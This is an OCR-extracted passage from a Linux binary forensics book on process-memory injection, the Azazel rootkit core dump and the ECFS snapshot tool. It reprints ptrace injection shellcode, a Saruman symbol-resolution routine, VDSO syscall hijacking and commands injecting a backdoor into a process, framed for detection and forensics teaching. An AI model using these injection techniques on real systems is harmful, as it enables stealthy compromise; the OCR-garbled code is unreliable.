example code from Saruman that injects PIE executables into a process.

Note

PIE executables are in the same format as shared libraries, so the same code will work for
the injection of either type into a process.

Using the readelf utility, we can see that in the standard C library (1ibc.so.6), there
exists a function named __1ibc_dlopen_mode. This function actually accomplishes the
same thing as the dlopen function, which is not resident in 1ibc. This means that with any
process that uses 1ibc, we can get the dynamic linker to load whatever ET_DYN object we
want to, while also automatically handling all the relocation patches.

Example — finding the symbol for __libc_dlopen_mode
It is rather common for attackers to use this function to load ET_DYN objects into a process:

$ readelf -s /1ib/x86_64-1linux-gnu/libc.so.6 | grep dlopen
2128: 0000000000136160 146 FUNC GLOBAL DEFAULT 12
_ libc_dlopen_mode@@GLIBC_PRIVATE

Code example — the __libc_dlopen_mode shellcode

The following code is in C, but when compiled into machine code, it can be used as
shellcode that we inject into the process using ptrace:

#define __ RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag emulates
dlopen behaviour
_ PAYLOAD_KEYWORDS___ void * dlopen_load_exec(const char *path, void
*dlopen_addr)
{
void * (*libc_dlopen_mode)(const char *, int) = dlopen_addr;
void *handle = (void *)oxfff; //initialized for debugging
handle = libc_dlopen_mode(path,
_ _RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);
__RETURN_VALUE__(handle);
_ BREAKPOINT__;

}

Notice that one of the arguments is void *dlopen_addr. Saruman locates the address to
the  libc_dlopen_mode() function, which resides in libc.so. This is accomplished
using a function for resolving symbols within the 1ibc library.



Code example — libc symbol resolution

There are many more details to the following code, and I would highly encourage you to
check out Saruman. It is specifically for injecting executable programs that are compiled
as ET_DYN objects, but as mentioned previously, the injection method will also work for
shared libraries since they are also compiled as ET_DYN objects:

E1f64_Addr get_sym_from_libc(handle_t *h, const char *name)
{
int fd, 1i;
struct stat st;
E1f64_Addr libc_base_addr = get_libc_addr(h->tasks.pid);
E1f64_Addr symaddr;

if ((fd = open(globals.libc_path, O_RDONLY)) < 0) {
perror("open libc");
exit(-1);

}

if (fstat(fd, &st) < 0) {
perror("fstat libc");
exit(-1);

}

uint8_t *libcp = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd,
0);
if (libcp == MAP_FAILED) {
perror("mmap libc");
exit(-1);
3

symaddr = resolve_symbol((char *)name, libcp);
if (symaddr == 0) {
printf("['] resolve_symbol failed for symbol '%s'\n",
name) ;
printf("Try using --manual-elf-loading option\n");
exit(-1);

b
symaddr = symaddr + globals.libc_addr;

DBG_MSG("[DEBUG]-> get_sym_from_libc() addr of __ libc_dl_*: %1x\n",
symaddr);
return symaddr;

}

To further demystify shared library injection, let me show you a much simpler technique
that uses ptrace injected shellcode to open()/mmap() the shared library into the process
address space. This technique is fine to use, but it requires that the malware manually
handle all of the hot patching of relocations. The _ 1ibc_dlopen_mode( ) function handles
all of this transparently with the help of the dynamic linker itself, so it is actually easier in
the long run.

Code example — the x86_32 shellcode to mmap() an ET_DYN object



The following shellcode can be injected into an executable segment within a given process
and then be executed using ptrace.

Note that this is the second time I’ve used this hand-written shellcode as an example in the
book. I wrote it in 2008 for a 32-bit Linux system, and it was convenient to use as an
example. Otherwise, I’m sure I would have written something new to demonstrate a more
modern approach in x86_64 Linux:

_start:
jmp B
A:

# fd = open("libtest.so0.1.0", O_RDONLY);

xorl %ecx, %ecx
movb $5, %al
popl %ebx

xorl %ecx, %ecx
int $0x80

subl $24, %esp
# mmap(O®, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0);

xorl %edx, %edx
movl %edx, (%esp)
movl $8192,4(%esp)
movl $7, 8(%esp)
movl $2, 12(%esp)
movl %eax,16(%esp)
movl %edx, 20(%esp)
movl $90, %eax
movl %esp, %ebx
int $0x80

# the int3 will pass control back the tracer
int3

call A
.string "/1lib/libtest.so0.1.0"

With PTRACE_POKETEXT to inject it and PTRACE_SETREGS to set %eip to the entry point of
the shellcode, once the shellcode hits the int3 instruction, it will effectively pass the
control back to your program that is performing the infection. This can then simply detach
from the host process that is now infected with the shared library (/1ib/libtest.so0.1.0).

In some cases, such as on binaries that have PaX mprotect restrictions enabled
(https://pax.grsecurity.net/docs/mprotect.txt), the ptrace system call cannot be used to
inject shellcode into the text segment. This is because it is read-only, and the restrictions
will also prevent marking the text segment writeable, so you cannot simply get around
this. However, this can be circumvented in several ways, such as by setting the instruction
pointer to __libc_dlopen_mode and storing the arguments to the function in registers
(such as %rdi, %rsi, and so on). Alternatively, in the case of a 32-bit architecture, the



https://pax.grsecurity.net/docs/mprotect.txt

arguments can be stored on the stack.

Another way is by manipulating the VDSO code that is present in most processes.



Manipulating VDSO to perform dirty work

This technique is one that is demonstrated at http://vxheaven.org/lib/vin00.html, but the
general idea is simple. The VDSO code that is mapped to the process address space, as
seen in the /proc/<pid>/maps output earlier in this chapter, contains code that invokes
system calls via the syscall (for 64-bit) and sysenter (for 32-bit) instructions. The calling
convention for system calls in Linux always places the system call number in the
%eax/%rax register.

If an attacker uses ptrace (PTRACE_SYSCALL, ..), they can quickly locate the syscall
instruction in the VDSO code and replace the register values to invoke whichever system
call is desired. If this is done carefully and done while restoring the original system call
that was executing, then it will not cause the application to crash. The open and mmap
system calls can be used to load an executable object such as ET_DYN or ET_REL into the
process address space. Alternatively, they can be used to simply create an anonymous
memory mapping that can store shellcode.

This is a code example in which the attacker takes advantage of this code on a 32-bit
system:

fffe420 <_ kernel_vsyscall>:

ffffed420: 51 push %ecx
ffffe421: 52 push  %edx
ffffed422: 55 push %ebp
ffffed423: 89 e5 mov %esp, %ebp
ffffed425: of 34 sysenter

Note

On a 64-bit system, the VDSO contains at least two locations where the syscall instruction
is used. The attacker can manipulate either of these.

The following is a code example in which the attacker takes advantage of this code on a
64-bit system:

fEFfFffFff7o0dbs: bo 60 mov  $0x60,%al
fEFFffffff7oodba: of 05 syscall


http://vxheaven.org/lib/vrn00.html

Shared object loading — legitimate or not?

The dynamic linker is the only legitimate way to bring a shared library into a process.
Remember, however, that an attacker can use the __libc_dlopen_mode function, which
invokes the dynamic linker to load an object. So how do we tell when the dynamic linker
is doing legitimate work? There are three legitimate ways in which a shared object is
mapped to a process by the dynamic linker.

Legitimate shared object loading
Let’s look at what we consider legitimate shared object loading:

e There is a valid bT_NEEDED entry in the executable program that corresponds to the
shared library file.

e The shared libraries that are validly loaded by the dynamic linker may in turn have
their own DT_NEEDED entries in order to load other shared libraries. This can be called
transitive shared library loading.

e If a program is linked with 1ibd1l.so, then it may use the dynamic loading functions
to load libraries on the fly. The function for loading shared objects is named dlopen,
and the function for resolving symbols is named d1sym.

Note

As we have previously discussed, the LD_PRELOAD environment variable also invokes the
dynamic linker, but this method is in a gray area as it is commonly used for both
legitimate and illegitimate purposes. Therefore, it was not included in the list of legitimate
shared object loading.

Illegitimate shared object loading

Now, let’s take a look at the illegitimate ways in which a shared object can be loaded into
a process, that is to say, by an attacker or a malware instance:

e The _ libc_dlopen_mode function exists within 1ibc.so (not 1ibdl.so) and is not
intended to be called by a program. It is actually marked as a GLIBC PRIVATE
function. Most processes have libc.so, and this is therefore a function commonly
used by attackers or malware to load arbitrary shared objects.

¢ VDSO manipulation. As we have already demonstrated, this technique can be used to
execute arbitrary syscalls, and therefore it can be simple to memory-map a shared
object with this method.

e Shellcode that directly invokes the open and mmap system calls.

e The DT_NEEDED entries can be added by an attacker by overwriting the DT_NULL tag in
the dynamic segment of an executable or shared library, thus being able to tell the
dynamic linker to load whatever shared object they wish. This particular method was
discussed in Chapter 6, ELF Binary Forensics in Linux, and it falls more into the
topic of that chapter, but it may also be necessary when inspecting a suspicious
process.

Note



Be sure to inspect the binary of a suspicious process, and verify that the dynamic segment
doesn’t appear suspicious. Refer to the Checking the dynamic segment for DLL injection
traces section of Chapter 6, ELF Binary Forensics in Linux.

Now that we have a clear definition of legitimate versus illegitimate loading of shared
objects, we can get into the discussion of heuristics for detecting when a shared library is
legitimate or not.

Beforehand, it is worth noting again that LD_PRELOAD is commonly used for good as well
as bad purposes, and the only sure-fire way of knowing this is by inspecting what the
actual code that resides in the preloaded shared object does. Therefore, we will leave
LD_PRELOAD out of the discussion on heuristics here.



Heuristics for .so injection detection

In this section, I will describe the general principles behind detecting whether a shared
library is legitimate or not. In Chapter 8, ECFS — Extended Core File Snapshot
Technology, we will be discussing the ECFS technology, which actually incorporates these
heuristics into its feature set.

For now, let’s look at the principles only. We want to get a list of the shared libraries that
are mapped to the process and then see which ones qualify for being legitimately loaded
by the dynamic linker:

1. Get a list of shared object paths from the /proc/<pid>/maps file.
Note

Some maliciously injected shared libraries won’t appear as file mappings because the
attacker created anonymous memory mappings and then memcpy’d the shared object
code into those memory regions. In the next chapter, we will see that ECFS can weed
these more stealthy entities out as well. A scan can be done of each executable
memory region that is anonymously mapped to see whether ELF headers exist,
particularly those with the ET_DYN file type.

2. Determine whether or not a valid DT_NEEDED entry exists in the executable that
corresponds to the shared library you are seeing. If one exists, then it is a legitimate
shared library. After you have verified that a given shared library is legitimate, check
that shared library’s dynamic segment and enumerate the DT_NEEDED entries within it.
Those corresponding shared libraries can also be marked as legitimate. This goes
back to the concept of transitive shared object loading.

3. Look at the PLT/GOT of the process’s actual executable program. If there are any
dlopen calls being used, then analyze the code to find any calls to dlopen. The
dlopen calls may be passed arguments that can be inspected statically, like this for
instance:

void *handle = dlopen("somelib.so", RTLD_NOW);

In such cases, the string will be stored as a static constant and will therefore be in the
.rodata section of the binary. So, check whether the .rodata section (or wherever
the string is stored) contains any strings that contain the shared library path you are
trying to validate.

4. 1If any of the shared object paths found in the maps file cannot be found or accounted
for by a DT_NEEDED section and cannot be accounted for by any dlopen calls either,
then that means it was either preloaded by LD_PRELOAD or injected by some other
means. At this point, you should qualify the shared object as suspicious.



Tools for detecting PLT/GOT hooks

Currently, there are not many great tools that are specifically for process memory analysis
in Linux. This is the reason that I designed ECFS (discussed in Chapter 8, ECFS —
Extended Core File Snapshot Technology). There are only a few tools I know of that can
detect PLT/GOT overwrites, and each one of them essentially uses the same heuristics that
we just discussed:

¢ Linux VMA Voodoo: This tool is a prototype that I designed through the DARPA
CFT program in 2011. It is capable of detecting many types of process memory
infections, but currently only works on 32-bit systems and is not available to the
public. However, the new ECFS utility is open source, which was inspired by VMA
Voodoo. You may read about VMA Voodoo at http://www.bitlackeys.org/#vmavudu.

e ECFS (Extended core file snapshot) technology: This technology was originally
designed to work as a native snapshot format for process memory forensics tools in
Linux. It has evolved into something even more than that and has an entire chapter
dedicated to it (Chapter 8, ECFS — Extended Core File Snapshot Technology). It can
be found at https://github.com/elfmaster/ecfs.

¢ Volatility plt_hook: The Volatility software is primarily geared towards full system
memory analysis, but Georg Wicherski designed a plugin in 2013 that is specifically
for detecting PLT/GOT infections within a process. This plugin uses heuristics
similar to those that we previously discussed. This feature has now merged with the

Volatility source code at https://github.com/volatilityfoundation/volatility.



http://www.bitlackeys.org/#vmavudu
https://github.com/elfmaster/ecfs
https://github.com/volatilityfoundation/volatility




Linux ELF core files

In most UNIX flavored OSes, a process can be delivered a signal so that it dumps a core
file. A core file is essentially a snapshot of the process and its state right before it cored
(crashed or dumped). A core file is a type of ELF file that is primarily made up of program
headers and memory segments. They also contain a fair amount of notes in the PT_NOTE
segment that describe file mappings, shared library paths, and other information.

A core file by itself is not especially useful for process memory forensics, but it may yield
some results to the more astute analyst.

Note

This is actually where ECFS comes into the picture; it is an extension of the regular Linux
ELF core format and provides features that are specifically for forensic analysis.



Analysis of the core file — the Azazel rootkit

Here, we will infect a process with the azazel rootkit using the LD_PRELOAD environment
variable, and then deliver an abort signal to the process so that we can capture a core
dump for analysis.

Starting up an Azazel infected process and getting a core dump

$ LD _PRELOAD=./libselinux.so ./host &

[1] 9325

$ kill -ABRT “pidof host"

[1]+ Segmentation fault (core dumped) LD_PRELOAD=./libselinux.so
./host

Core file program headers

In a core file, there are many program headers. All of them except one are of the PT_LOAD
type. There is a PT_LOAD program header for every single memory segment in the process,
with the exception of special devices (that is /dev/mem). Everything from shared libraries
and anonymous mappings to the stack, the heap, text, and data segments is represented by
a program header.

Then, there is one program header of the PT_NOTE type; it contains the most useful and
descriptive information in the entire core file.

The PT_NOTE segment

The eu-readelf -n output that is shown next shows the parsing of the core file notes
segment. The reason we used eu-readelf here instead of the regular readelf is that eu-
readelf (the ELF Utils version) takes time to parse each entry in the notes segment,
whereas the more commonly used readelf (the binutils version) only shows the NT_FILE
entry:

$ eu-readelf -n core

Note segment of 4200 bytes at offset 0x900:

Owner Data size Type

CORE 336 PRSTATUS
info.si_signo: 11, info.si_code: 0, info.si_errno: 0, cursig: 11
sigpend: <>
sighold: <>
pid: 9875, ppid: 7669, pgrp: 9875, sid: 5781
utime: 5.292000, stime: 0.004000, cutime: 0.000000, cstime: 0.000000
orig_rax: -1, fpvalid: 1

ris: 0 ri4: 0]
ri3: 140736185205120 r12: 4195616
rbp: OX00007fffb25380a0 rbx: 0
rii: 582 r1l0: 140736185204304
ro: 15699984 r8: 1886848000
rax: -1 rex: -160
rdx: 140674792738928 rsi: 4294967295
rdi: 4196093 rip: OX000000000040064f

rflags: OX0000000CO0O0E0286 rsp: 0Xx00007fffb2538090



fs.base:

CS: Ox0033 ss: Ox002b ds: Ox
CORE 136 PRPSIN
state: 0, sname: R, zomb: 0,
uid: 0, gid: 0, pid: 9875, ppid: 7669, pgrp: 9875,
fname: host, psargs: ./host
CORE 128 SIGINF
si_signo: 11, si_errno: 0, si_
sender PID: 7669, sender UID:
CORE 304 AUXV

SYSINFO_EHDR: 0x7fffb254a000
HWCAP: Oxbfebfbff
pge
PAGESZ: 4096
CLKTCK: 100
PHDR: 0x400040
PHENT: 56
PHNUM: 9
BASE: 0x7ff1675ae000
FLAGS: 0
ENTRY: 0x400520
UID: ©
EUID: 0
GID: ©
EGID: 0
SECURE: ©
RANDOM: 0x7fffb2538399
EXECFN: Ox7fffb2538ff1
PLATFORM: 0Ox7fffb25383a9
NULL
CORE
30 files:
00400000-00401000 0OOCOOOO 4096
00600000-00601000 OOOEOOOO 4096
00601000-00602000 00001000 4096
3001000000-3001019000 OOEOEOOO
gnu/libaudit.so0.1.0.0
3001019000-3001218000
gnu/libaudit.so0.1.0.0
3001218000-3001219000
gnu/libaudit.so0.1.0.0
3001219000-300121a000
gnu/libaudit.so0.1.0.0
3003400000-300340d000
gnhu/libpam.so0.0.83.1
300340d000-300360c000
gnhu/libpam.s0.0.83.1
300360c000-300360d000
gnhu/libpam.so0.0.83.1
300360d000-300360e000
ghu/libpam.so0.0.83.1
7ff166bd9000-7ff166bdbOOO OOEOEO
19.s0

1812 FILE

00019000

00018000

00019000

00000000

0000d00e0o

0000CO00

0000d00e0o

2.

0x00007ff1677a1740 gs.base:
es:

0000
FO

0]
code:
0

0

102400

2093056

4096

4096

53248

2093056

4096

4096

00 8192

OX000O0OOOOO00O00000

Ox0000 fs: Ox0000 gs: OxO000

nice: 0, flag: Ox0O000O00000406600

sid: 5781

<fpu vme de pse tsc msr pae mce cx8 apic sep mtrr
mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe>

/home/user/git/azazel/host
/home/user/git/azazel/host
/home/user/git/azazel/host
/1ib/x86_64-1inux-
/1ib/x86_64-1inux-
/1ib/x86_64-1inux-
/1ib/x86_64-1inux-
/1ib/x86_64-1inux-
/1ib/x86_64-1inux-
/1ib/x86_64-1inux-
/1ib/x86_64-1inux-

/1ib/x86_64-1inux-gnu/libutil-

7ff166bdb000-7ff166ddac000 00002000 2093056 /1ib/x86_64-1linux-gnu/libutil-

2.19.s0

7ff166ddac00-7ff166ddbO0O 0OO0010

00 4096

/1ib/x86_64-1inux-gnu/libutil-



2.19.s0

7ff166ddbe00-7ff166ddcOOO0 00002000 4096 /1ib/x86_64-1inux-gnu/libutil-
2.19.s0

7ff166ddc000-7ff166ddfOO0 0OOEOOOO0 12288 /1ib/x86_64-1inux-gnu/libdl-
2.19.s0

7ff166ddfe00-7ff166fde0OO0 OOOO3000 2093056 /1ib/x86_64-1inux-gnu/libdl-
2.19.s0

7ff166fde@00-7ff166fdfOO0 00002000 4096 /1ib/x86_64-1inux-gnu/libdl-
2.19.s0

7ff166fdfEO0-7ff166fe0000 00003000 4096 /1ib/x86_64-1inux-gnu/libdl-
2.19.s0

7ff166fe0000-7ff16719b00O0 OOOEOOOO 1814528 /1ib/x86_64-1inux-gnu/libc-
2.19.s0

7ff16719b000-7ff16739a000 001bbOOO 2093056 /1ib/x86_64-1inux-gnu/libc-
2.19.s0

7ff16739a000-7ff16739e000 001bal®OO 16384 /1ib/x86_64-1inux-gnu/libc-
2.19.s0

7ff16739e000-7ff1673a0000 001be@OO 8192 /1ib/x86_64-1inux-gnu/libc-
2.19.s0

7ff1673a5000-7ff1673ad000 00000000 32768
/home/user/git/azazel/libselinux.so

7ff1673ad000-7ff1675acO00 OOOO8000 2093056
/home/user/git/azazel/libselinux.so

7ff1675ac000-7ff1675ad000 00007000 4096
/home/user/git/azazel/libselinux.so

7ff1675ad000-7ff1675ae000 00008000 4096
/home/user/git/azazel/libselinux.so

7ff1675ae000-7ff1675d1000 OOOEOOOO 143360 /1lib/x86_64-1linux-gnu/ld-
2.19.s0

7ff1677d0000-7ff1677d1000 00022000 4096 /1ib/x86_64-1inux-gnu/1ld-
2.19.s0

7ff1677d1000-7ff1677d2000 00023000 4096 /1ib/x86_64-1inux-gnu/1ld-
2.19.s0

Being able to view the register state, auxiliary vector, signal information, and file
mappings is not bad news at all, but they are not enough by themselves to analyze a
process for malware infection.

PT_LOAD segments and the downfalls of core files for forensics purposes

Each memory segment contains a program header that describes the offset, address, and
size of the segment it represents. This would almost suggest that you can access every part
of a process image through the program segments, but this is only partially true. The text
image of the executable and every shared library that is mapped to the process get only the
first 4,096 bytes of themselves dumped into a segment.

This is for saving space and because the Linux kernel developers figured that the text
segment will not be modified in memory. So, it suffices to reference the original
executable file and shared libraries when accessing the text areas from a debugger. If a
core file were to dump the complete text segment for every shared library, then for a large
program such as Wireshark or Firefox, the output core dump files would be enormous.

So for debugging reasons, it is usually okay to assume that the text segments have not
changed in memory, and to just reference the executable and shared library files



themselves to get the text. But what about runtime malware analysis and process memory
forensics? In many cases, the text segments have been marked as writeable and contain
polymorphic engines for code mutation, and in these instances, core files may be useless
for viewing the code segments.

Also, what if the core file is the only artifact available for analysis and the original
executable and shared libraries are no longer accessible? This further demonstrates why
core files are not particularly good for process memory forensics; nor were they ever
meant to be.

Note

In the next chapter, we will see how ECFS addresses many of the weaknesses that render
core files a useless artifact for forensic purposes.

Using a core file with GDB for forensics

Combined with the original executable file, and assuming that no code modifications were
made (to the text segment), we can still use core files to some avail for malware analysis.
In this particular case, we are looking at a core file for the Azazel rootkit, which—as we
demonstrated earlier in this chapter—has PLT/GOT hooks:

$ readelf -S host | grep got.plt

[23] .got.plt PROGBITS 0000000000601000 COOO1EO0
$ readelf -r host
Relocation section '.rela.plt' at offset 0x3f8 contains 6 entries:

Offset Info Type Sym. Value Sym. Name +
Addend
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 unlink + 0
000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0
000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 opendir + 0
000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000
__libc_start_main+0
000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000
__gmon_start___ + O
000000601040 000600000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0O

So, let’s take a look at the function that we already know is hijacked by Azazel. The fopen
function is one of the four shared library functions in the infected program, and as we can
see from the preceding output, it has a GOT entry at 0x601040:

$ gdb -gq ./host core

Reading symbols from ./host..(no debugging symbols found)...done.
[New LWP 9875]

Core was generated by "./host'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 Ox000000000040064f in main ()

(gdb) x/gx 0x601040

0x601040 <fopen@got.plt>: 0Ox00007ff1673a8609

(gdb)

If we look again at the NT_FILE entry in the PT_NOTE segment (readelf -n core), we can
see at what address range the 1ibc-2.19.so file is mapped to the memory, and check



whether or not the GOT entry for fopen is pointing to 1ibc-2.19.so as it should be:

$ readelf -n core
<snippet>
OX00007ff166feQOOO0 OXxOOEO7ff16719bOOO OXOOOEOEOEOEOEOEO0O
/1ib/x86_64-1inux-gnu/libc-2.19.so0
</snippet>

The fopen@got.plt points to 0x7ff1673a8609. This is outside of the 1ibc-2.19.so text
segment range displayed previously, which is 0x7ff166fe0000 to 0x7ff16719b000.
Examining a core file with GDB is very similar to examining a live process with GDB,
and you can use the same method shown next to locate the environment variables and
check whether LD_PRELOAD has been set.

Here’s an example of locating environment variables in a core file:
(gdb) x/4096s $rsp
. scroll down a few pages ..

Ox7fffb25388db: "./host"

O0x7fffb25388e2: "LD_PRELOAD=./libselinux.so"
Ox7fffb25388fd: "SHELL=/bin/bash"
Ox7fffb253890d: "TERM=xterm"

Ox7fffb2538918: "OLDPWD=/home/ryan"
Ox7fffb253892a: "USER=root"






Summary

The art of process memory forensics is a very specific aspect of forensic work. It
obviously focuses primarily on memory pertaining to a process image, which is quite
complicated even on its own, as it requires intricate knowledge about CPU registers, the
stack, dynamic linking, and ELF as a whole.

Therefore, being proficient in inspecting a process for anomalies is truly an art and a skill
that builds on itself through experience. This chapter served as a primer for the subject so
that the beginner can get some insights into how they should get started. In the next
chapter, we will be discussing process forensics, and you will learn how the ECFS
technology can make it much easier.

After you have completed this chapter and the next, I recommend that you use some of the
tools cited in this chapter to infect some processes on your system and experiment with the
ways of detecting them.






Chapter 8. ECFS — Extended Core File
Snapshot Technology

Extended Core File Snapshot (ECFS) technology is a piece of software that plugs into
the Linux core handler and creates specialized process memory snapshots specifically
designed with process memory forensics in mind. Most people have no idea how to parse
a process image, let alone how to examine one for anomalies. Even for experts, it can be
an arduous task to look at a process image and detect infections or malware.

Before ECFS, there existed no real standard for snapshotting of a process image other than
using core files, which can be created on demand using the gcore script that comes with
most Linux distributions. As briefly discussed in the previous chapter, regular core files
are not particularly useful for process forensics analysis. This is why ECFS core files
came into existence—to provide a file format that can describe every nuance of a process
image so that it can be efficiently analyzed, easily navigated, and easily integrated with
malware analysis and process forensics tools.

In this chapter, we will discuss the basics of ECFS and how to use ECFS core files and the
libecfs API to rapidly design malware analysis and forensics tools.



History

In 2011, I created a software prototype titled Linux VMA Monitor
(http://www.bitlackeys.org/#vmavudu) for a DARPA contract. This software was designed
to look at live process memory or raw snapshots of process memory. It was able to detect
all sorts of runtime infections, including shared library injection, PLT/GOT hijacking, and
other anomalies that indicate runtime malware.

In more recent times, I considered rewriting this software into a more finished state, and I
felt that a native snapshot format for process memory would be a really nice feature. This
was the initial inspiration for developing ECFS, and although I have canceled my plans of
reviving the Linux VMA Monitor software for now, I am continuing to expand and
develop the ECFS software as it is of great value to many other people’s projects. It is
even being incorporated into the Lotan product, which is a piece of software used to detect
exploitation attempts by analyzing crash dumps (http://www.leviathansecurity.com/lotan).



http://www.bitlackeys.org/#vmavudu
http://www.leviathansecurity.com/lotan




The ECFS philosophy

ECEFS is all about making runtime analysis of a program easier than ever before. The
entire process is encased within a single file, and it is organized in such a way that locating
and accessing data and code that is critical for detecting anomalies and infections is
achievable through orderly and efficient means. This is primarily done through parsing
section headers to access useful data, such as symbol tables, dynamic linking data, and
forensics-relevant structures.






Getting started with ECFS

At the time of writing this chapter, the complete ECFS project and source code is available

at http://github.com/elfmaster/ecfs. Once you have cloned the repository with git, you
should compile and install the software as described in the README file.

Currently, ECFS has two modes of use:

e Plugging ECFS into the core handler
e ECFS snapshots without killing the process

Note

In this chapter, the terms ECFS files, ECFS snapshots, and ECFS core files are used
interchangeably.


http://github.com/elfmaster/ecfs

Plugging ECFS into the core handler

The first thing is to plug the ECFS core handler into the Linux kernel. The make install
will accomplish this for you, but it must be done after every reboot or stored in an init
script. The manual way of setting up the ECFS core handler is by modifying the
/proc/sys/kernel/core_pattern file.

This is the command used to activate the ECFS core handler:

echo '|/opt/ecfs/bin/ecfs_handler -t -e %e -p %p -0 \
/opt/ecfs/cores/%e.%p' > /proc/sys/kernel/core_pattern

Note

Notice that the -t option is set. This is very important for forensics and it should rarely be
turned off. This option tells ECFS to capture the entire text segment for any executable or

shared library mappings. In traditional core files, the text images are truncated to 4k. Later
in this chapter, we will also examine the -h option (heuristics), which can be set to enable

extended heuristics in order to detect shared library injection.

The ecfs_handler binary will invoke either ecfs32 or ecfs64 depending on whether the
process is 64 bit or 32 bit. The pipe symbol (|) at the front of the line that we write into
the procfs core_pattern entry tells the kernel to pipe the core files it produces into the
standard input of our ECFS core handler process. The ECFS core handler then transforms
the traditional core file into a highly customized and spectacular ECFS core file. Anytime
if a process crashes or is delivered a signal that causes a core dump, such as SIGSEGV or
SIGABRT, then the ECFS core handler will step in and instrument the core file creation
with its own special set of procedures for creating an ECFS-style core dump.

Here’s an example of capturing an ECFS snapshot of sshd:

$ kill -ABRT “pidof sshd”

$ 1s -1h /opt/ecfs/cores

-rwxrwx--- 1 root root 8244638 Jul 24 13:36 sshd.1211
$

Having ECFS as the default core file handler is very nice and perfectly suitable for
everyday use. This is because ECFS cores are backwards compatible with traditional core
files and can be used with debuggers such as GDB. However, there are times when a user
may want to capture an ECFS snapshot without having to kill the process. This is where
the ECFS snapshot tool comes into usefulness.



ECFS snapshots without killing the process

Let’s consider a scenario where there is a suspicious process running. It is suspicious
because it is consuming a lot of CPU and it has network sockets open even though it is
known not to be a network program of any kind. In such a scenario, it may be desirable to
leave the process running so that a potential attacker is not yet alerted, but still have the
capability to produce an ECFS core file. The ecfs_snapshot utility should be used in
these cases.

The ecfs_snapshot utility ultimately uses the ptrace system call, which means two things:

e [t may take noticeably longer to snapshot the process
¢ It may be ineffective against processes that use anti-debugging techniques to prevent
ptrace from attaching

In cases where either of these issues becomes a problem, you may have to consider using
the ECFS core handler for the job, in which case you will have to kill the process. In most
situations, however, the ecfs_snapshot utility will work.

Here’s an example of capturing an ECFS snapshot with the snapshot utility:

$ ecfs_snapshot -p “pidof host™ -0 host_snapshot

This snapshots the process for the program host and creates an ECFS snapshot called
host_snapshot. In the following sections, we will demonstrate some actual use cases of
ECFS and take a look at the ECFS files with a variety of utilities.






libecfs — a library for parsing ECFS files

The ECFS file format is very easy to parse with traditional ELF utilities, such as readelf,
but to build parsing tools that are custom, I highly recommend that you use the libecfs
library. This library is specifically designed for easy parsing of ECFS core files. It will be
demonstrated with slightly more details later in this chapter when we look at designing
advanced malware analysis tools to detect infected processes.

libecfs is also used in the ongoing development of the readecfs utility, which is a tool for
parsing ECFS files, and is very similar to the commonly known readelf utility. Note that
libecfs is included with the ECFS package on the GitHub repository.






readecfs

The readecfs utility will be used throughout the rest of this chapter while demonstrating
the different ECFS features. Here is a synopsis of the tool from readecfs -h:

Usage: readecfs [-RAPSslphega] <ecfscore>
-a print all (equiv to -Sslphega)

-s print symbol table info

-1 print shared library names

-p print ELF program headers

-S print ELF section headers

-h  print ELF header

-g print PLTGOT info

-A print Auxiliary vector

-P  print personality info

-e print ecfs specific (auiliary vector, process state, sockets, pipes,
fd's, etc.)

-[View raw data from a section]
-R <ecfscore> <section>

-[Copy an ELF section into a file (Similar to objcopy)]
-0 <ecfscore> .section <outfile>

-[Extract and decompress /proc/$pid from .procfs.tgz section into
directory]
-X <ecfscore> <output_dir>

Examples:

readecfs -e <ecfscore>

readecfs -Ag <ecfscore>

readecfs -R <ecfscore> .stack

readecfs -R <ecfscore> .bss

readecfs -eR <ecfscore> .heap

readecfs -0 <ecfscore> .vdso vdso_elf.so
readecfs -X <ecfscore> procfs_dir






Examining an infected process using
ECFS

Before we show the effectiveness of ECFS with a real-world example, it would be helpful
to have a little background of the method of infection that we will use from a hacker’s
perspective. It is often very useful for a hacker to be able to incorporate anti-forensic
techniques into their workflow on compromised systems so that their programs, especially
the ones that serve as backdoors and such, can remain hidden to the untrained eye.

One such technique is to perform process cloaking. This is the act of running a program
inside of an existing process, ideally inside of a process that is known to be benign but
persistent, such as ftpd or sshd. The Saruman anti-forensics exec
(http://www.bitlackeys.org/#saruman) allows an attacker to inject a complete, dynamically
linked PIE executable into an existing process address space and run it.

It uses a thread injection technique so that the injected program can run simultaneously
with the host program. This particular hacker technique was something that I came up
with and designed in 2013, but I have no doubt that other such tools have existed for much
longer than this in the underground scene. Typically, this type of anti-forensic technique
would go unnoticed and would be very difficult to detect.

Let’s see what type of efficiency and accuracy we can achieve by analyzing such a process
with ECFS technology.


http://www.bitlackeys.org/#saruman

Infecting the host process

The host process is a benign process, and typically it would be something like sshd or
ftpd, as already mentioned. For the sake of our example, we will use a simple and
persistent program called host; it simply runs in an infinite loop, printing a message on the
screen. We will then inject a remote server backdoor into the process using the Saruman
anti-forensics exec launcher program.

In terminal 1, run the host program:

$ ./host

I am the host
I am the host
I am the host

In terminal 2, inject the backdoor into the process:

$ ./launcher “pidof host™ ./server

[+] Thread injection succeeded, tid: 16187

[+] Saruman successfully injected program: ./server
[+] PT_DETACHED -> 16186

$



Capturing and analyzing an ECFS snapshot

Now, if we capture a snapshot of the process either by using the ecfs_snapshot utility or
by signaling the process to the core dump, we can begin our examination.

The symbol table analysis

Let’s look at the symbol table analysis of the host.16186 snapshot:

readelf

-s host.16186

Symbol table '.dynsym' contains 6 entries:

Num:
0:
1:
2:
3:

Value
00007fba3811e000
00007fba3818de30
00007fba38209860
00007fba3813fddo

__1ibc_start_main

4:
5:

00000000COOOOEO
00007fba3818c4e0

Size
0

0
0
0

(o]

0

Type
NOTYPE
FUNC
FUNC
FUNC

NOTYPE
FUNC

Bind
LOCAL
GLOBAL
GLOBAL
GLOBAL

WEAK
GLOBAL

Symbol table '.symtab' contains 6 entries:

Num:
0:

abrwpNPRE

Value
O0LOOOOEEO4600470

: 00000000004004d0
: 00000000004005bd
